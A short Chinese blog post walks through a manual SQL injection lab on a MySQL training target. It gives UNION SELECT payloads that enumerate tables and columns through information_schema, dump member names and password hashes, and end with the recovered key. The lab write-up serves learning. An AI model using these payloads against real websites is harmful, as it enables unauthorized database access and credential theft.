SQL手工测试(MySQL数据库)

1.看到注入点,测试列字段数量,发现为4正常,为5出错,可知列数为5

2.找到数据库名mozhe_Discuz_StormGroup

3.查询表名?id=-1%20union%20select%201,2,group_concat(table_name),4%20from%20information_schema.tables%20where%20table_schema=%27mozhe_Discuz_StormGroup%27

得到StormGroup_member,notice

4.查询列名

?id=-1%20union%20select%201,2,group_concat(column_name),4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27

5.获取数据

?id=-1%20union%20select%201,2,concat(name,0x5c,password),4%20from%20StormGroup_member

mozhe\356f589a7df439f6f744ff19bb8092c0

此时发现直接输入会账密错误,说明需要解码

6.将密码解码得到的结果也是始终不正确,考虑其他数据

id=-1%20union%20select%201,2,concat(name,0x5c,password),4%20from%20StormGroup_member%20limit%201,1

mozhe\89f76612d6fbbeb12265a7300301f024

7.再次解密验证

8.成功啦,获得Key:mozhe69c92e07d1330df9daeaeea8738

相关推荐
wsxlgg7 小时前
MySQL中count(*)、count(1)、count(字段)的区别
数据库·mysql
_F_y13 小时前
MySQL用C/C++连接
c语言·c++·mysql
pengdott13 小时前
Oracle RAC内存融合技术深度解析:集群性能的幕后引擎
数据库·oracle
汤愈韬13 小时前
ACL概述、ACL原理、基本ACL应用及配置
网络·网络协议·网络安全
csudata14 小时前
绿色便携版PostgreSQL发行版重磅发布
数据库·postgresql
阳光九叶草LXGZXJ14 小时前
达梦数据库-学习-48-DmDrs控制台命令(同步之Manager、CPT模块)
linux·运维·数据库·sql·学习
五岳15 小时前
DTS按业务场景批量迁移阿里云MySQL库实战(上):技术选型和API对接
mysql·阿里云·dts
我科绝伦(Huanhuan Zhou)15 小时前
脚本再升级,兼容Oracle 26ai一键安装
数据库·oracle
野生绿箭侠15 小时前
Ncos 2.3.2 版本集成达梦数据库
数据库
仍然.16 小时前
MYSQL--约束
数据库·mysql